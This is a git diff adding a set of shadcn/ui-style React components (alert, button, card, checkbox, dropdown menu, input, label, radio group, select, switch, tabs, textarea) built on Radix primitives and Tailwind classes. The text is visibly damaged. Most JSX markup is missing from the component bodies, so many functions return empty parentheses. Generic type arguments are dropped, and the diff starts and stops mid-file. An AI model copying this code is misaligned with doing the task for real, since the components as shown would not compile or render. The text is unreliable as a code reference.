[&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7", + { + variants: { + variant: { + default: "bg-background text-foreground", + destructive: + "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", + }, + }, + defaultVariants: { + variant: "default", + }, + }, +); + +const Alert = React.forwardRef< + HTMLDivElement, + React.HTMLAttributes & VariantProps +>(({ className, variant, ...props }, ref) => ( +
+)); +Alert.displayName = "Alert"; + +const AlertTitle = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +AlertTitle.displayName = "AlertTitle"; + +const AlertDescription = React.forwardRef< + HTMLParagraphElement, + React.HTMLAttributes +>(({ className, ...props }, ref) => ( +
+)); +AlertDescription.displayName = "AlertDescription"; + +export { Alert, AlertTitle, AlertDescription }; diff --git a/web/src/components/ui/button.tsx b/web/src/components/ui/button.tsx new file mode 100644 index 00000000..5afa9c46 --- /dev/null +++ b/web/src/components/ui/button.tsx @@ -0,0 +1,50 @@ +import * as React from "react"; +import { Slot } from "@radix-ui/react-slot"; +import { cva, type VariantProps } from "class-variance-authority"; + +import { cn } from "@/lib/utils"; + +const buttonVariants = cva( + "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0", + { + variants: { + variant: { + default: "bg-primary text-primary-foreground shadow hover:bg-primary/90", + destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90", + outline: + "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", + secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80", + ghost: "hover:bg-accent hover:text-accent-foreground", + link: "text-primary underline-offset-4 hover:underline", + }, + size: { + default: "h-9 px-4 py-2", + sm: "h-8 rounded-md px-3 text-xs", + lg: "h-10 rounded-md px-8", + icon: "h-9 w-9", + }, + }, + defaultVariants: { + variant: "default", + size: "default", + }, + }, +); + +export interface ButtonProps + extends React.ButtonHTMLAttributes, + VariantProps { + asChild?: boolean; +} + +const Button = React.forwardRef( + ({ className, variant, size, asChild = false, ...props }, ref) => { + const Comp = asChild ? Slot : "button"; + return ( + + ); + }, +); +Button.displayName = "Button"; + +export { Button, buttonVariants }; diff --git a/web/src/components/ui/card.tsx b/web/src/components/ui/card.tsx new file mode 100644 index 00000000..d886b020 --- /dev/null +++ b/web/src/components/ui/card.tsx @@ -0,0 +1,55 @@ +import * as React from "react"; + +import { cn } from "@/lib/utils"; + +const Card = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +Card.displayName = "Card"; + +const CardHeader = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +CardHeader.displayName = "CardHeader"; + +const CardTitle = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +CardTitle.displayName = "CardTitle"; + +const CardDescription = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +CardDescription.displayName = "CardDescription"; + +const CardContent = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +CardContent.displayName = "CardContent"; + +const CardFooter = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); +CardFooter.displayName = "CardFooter"; + +export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }; diff --git a/web/src/components/ui/checkbox.tsx b/web/src/components/ui/checkbox.tsx new file mode 100644 index 00000000..5a4cc5a5 --- /dev/null +++ b/web/src/components/ui/checkbox.tsx @@ -0,0 +1,26 @@ +import * as React from "react"; +import * as CheckboxPrimitive from "@radix-ui/react-checkbox"; +import { Check } from "lucide-react"; + +import { cn } from "@/lib/utils"; + +const Checkbox = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + + + + + +)); +Checkbox.displayName = CheckboxPrimitive.Root.displayName; + +export { Checkbox }; diff --git a/web/src/components/ui/dropdown-menu.tsx b/web/src/components/ui/dropdown-menu.tsx new file mode 100644 index 00000000..cf8229ac --- /dev/null +++ b/web/src/components/ui/dropdown-menu.tsx @@ -0,0 +1,186 @@ +import * as React from "react"; +import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"; +import { Check, ChevronRight, Circle } from "lucide-react"; + +import { cn } from "@/lib/utils"; + +const DropdownMenu = DropdownMenuPrimitive.Root; + +const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger; + +const DropdownMenuGroup = DropdownMenuPrimitive.Group; + +const DropdownMenuPortal = DropdownMenuPrimitive.Portal; + +const DropdownMenuSub = DropdownMenuPrimitive.Sub; + +const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup; + +const DropdownMenuSubTrigger = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef & { + inset?: boolean; + } +>(({ className, inset, children, ...props }, ref) => ( + + {children} + + +)); +DropdownMenuSubTrigger.displayName = DropdownMenuPrimitive.SubTrigger.displayName; + +const DropdownMenuSubContent = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +DropdownMenuSubContent.displayName = DropdownMenuPrimitive.SubContent.displayName; + +const DropdownMenuContent = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, sideOffset = 4, ...props }, ref) => ( + + + +)); +DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName; + +const DropdownMenuItem = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef & { + inset?: boolean; + } +>(({ className, inset, ...props }, ref) => ( + svg]:size-4 [&>svg]:shrink-0", + inset && "pl-8", + className, + )} + {...props} + /> +)); +DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName; + +const DropdownMenuCheckboxItem = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, children, checked, ...props }, ref) => ( + + + + + + + {children} + +)); +DropdownMenuCheckboxItem.displayName = DropdownMenuPrimitive.CheckboxItem.displayName; + +const DropdownMenuRadioItem = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, children, ...props }, ref) => ( + + + + + + + {children} + +)); +DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName; + +const DropdownMenuLabel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef & { + inset?: boolean; + } +>(({ className, inset, ...props }, ref) => ( + +)); +DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName; + +const DropdownMenuSeparator = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName; + +const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes) => { + return ( + + ); +}; +DropdownMenuShortcut.displayName = "DropdownMenuShortcut"; + +export { + DropdownMenu, + DropdownMenuTrigger, + DropdownMenuContent, + DropdownMenuItem, + DropdownMenuCheckboxItem, + DropdownMenuRadioItem, + DropdownMenuLabel, + DropdownMenuSeparator, + DropdownMenuShortcut, + DropdownMenuGroup, + DropdownMenuPortal, + DropdownMenuSub, + DropdownMenuSubContent, + DropdownMenuSubTrigger, + DropdownMenuRadioGroup, +}; diff --git a/web/src/components/ui/input.tsx b/web/src/components/ui/input.tsx new file mode 100644 index 00000000..7db52411 --- /dev/null +++ b/web/src/components/ui/input.tsx @@ -0,0 +1,22 @@ +import * as React from "react"; + +import { cn } from "@/lib/utils"; + +const Input = React.forwardRef>( + ({ className, type, ...props }, ref) => { + return ( + + ); + }, +); +Input.displayName = "Input"; + +export { Input }; diff --git a/web/src/components/ui/label.tsx b/web/src/components/ui/label.tsx new file mode 100644 index 00000000..392197c3 --- /dev/null +++ b/web/src/components/ui/label.tsx @@ -0,0 +1,21 @@ +"use client"; + +import * as React from "react"; +import * as LabelPrimitive from "@radix-ui/react-label"; +import { cva, type VariantProps } from "class-variance-authority"; + +import { cn } from "@/lib/utils"; + +const labelVariants = cva( + "text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70", +); + +const Label = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef & VariantProps +>(({ className, ...props }, ref) => ( + +)); +Label.displayName = LabelPrimitive.Root.displayName; + +export { Label }; diff --git a/web/src/components/ui/radio-group.tsx b/web/src/components/ui/radio-group.tsx new file mode 100644 index 00000000..5a1cdfda --- /dev/null +++ b/web/src/components/ui/radio-group.tsx @@ -0,0 +1,38 @@ +"use client"; + +import * as React from "react"; +import * as RadioGroupPrimitive from "@radix-ui/react-radio-group"; +import { Circle } from "lucide-react"; + +import { cn } from "@/lib/utils"; + +const RadioGroup = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => { + return ; +}); +RadioGroup.displayName = RadioGroupPrimitive.Root.displayName; + +const RadioGroupItem = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => { + return ( + + + + + + ); +}); +RadioGroupItem.displayName = RadioGroupPrimitive.Item.displayName; + +export { RadioGroup, RadioGroupItem }; diff --git a/web/src/components/ui/select.tsx b/web/src/components/ui/select.tsx new file mode 100644 index 00000000..087e84a2 --- /dev/null +++ b/web/src/components/ui/select.tsx @@ -0,0 +1,150 @@ +import * as React from "react"; +import * as SelectPrimitive from "@radix-ui/react-select"; +import { Check, ChevronDown, ChevronUp } from "lucide-react"; + +import { cn } from "@/lib/utils"; + +const Select = SelectPrimitive.Root; + +const SelectGroup = SelectPrimitive.Group; + +const SelectValue = SelectPrimitive.Value; + +const SelectTrigger = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, children, ...props }, ref) => ( + span]:line-clamp-1", + className, + )} + {...props} + > + {children} + + + + +)); +SelectTrigger.displayName = SelectPrimitive.Trigger.displayName; + +const SelectScrollUpButton = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + + + +)); +SelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName; + +const SelectScrollDownButton = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + + + +)); +SelectScrollDownButton.displayName = SelectPrimitive.ScrollDownButton.displayName; + +const SelectContent = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, children, position = "popper", ...props }, ref) => ( + + + + + {children} + + + + +)); +SelectContent.displayName = SelectPrimitive.Content.displayName; + +const SelectLabel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +SelectLabel.displayName = SelectPrimitive.Label.displayName; + +const SelectItem = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, children, ...props }, ref) => ( + + + + + + + {children} + +)); +SelectItem.displayName = SelectPrimitive.Item.displayName; + +const SelectSeparator = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +SelectSeparator.displayName = SelectPrimitive.Separator.displayName; + +export { + Select, + SelectGroup, + SelectValue, + SelectTrigger, + SelectContent, + SelectLabel, + SelectItem, + SelectSeparator, + SelectScrollUpButton, + SelectScrollDownButton, +}; diff --git a/web/src/components/ui/switch.tsx b/web/src/components/ui/switch.tsx new file mode 100644 index 00000000..6338184e --- /dev/null +++ b/web/src/components/ui/switch.tsx @@ -0,0 +1,27 @@ +import * as React from "react"; +import * as SwitchPrimitives from "@radix-ui/react-switch"; + +import { cn } from "@/lib/utils"; + +const Switch = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + + + +)); +Switch.displayName = SwitchPrimitives.Root.displayName; + +export { Switch }; diff --git a/web/src/components/ui/tabs.tsx b/web/src/components/ui/tabs.tsx new file mode 100644 index 00000000..9aa22a0b --- /dev/null +++ b/web/src/components/ui/tabs.tsx @@ -0,0 +1,53 @@ +import * as React from "react"; +import * as TabsPrimitive from "@radix-ui/react-tabs"; + +import { cn } from "@/lib/utils"; + +const Tabs = TabsPrimitive.Root; + +const TabsList = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +TabsList.displayName = TabsPrimitive.List.displayName; + +const TabsTrigger = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +TabsTrigger.displayName = TabsPrimitive.Trigger.displayName; + +const TabsContent = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => ( + +)); +TabsContent.displayName = TabsPrimitive.Content.displayName; + +export { Tabs, TabsList, TabsTrigger, TabsContent }; diff --git a/web/src/components/ui/textarea.tsx b/web/src/components/ui/textarea.tsx new file mode 100644 index 00000000..29330b61 --- /dev/null +++ b/web/src/components/ui/textarea.tsx @@ -0,0 +1,21 @@ +import * as React from "react"; + +import { cn } from "@/lib/utils"; + +const Textarea = React.forwardRef>( + ({ className, ...props }, ref) => { + return ( +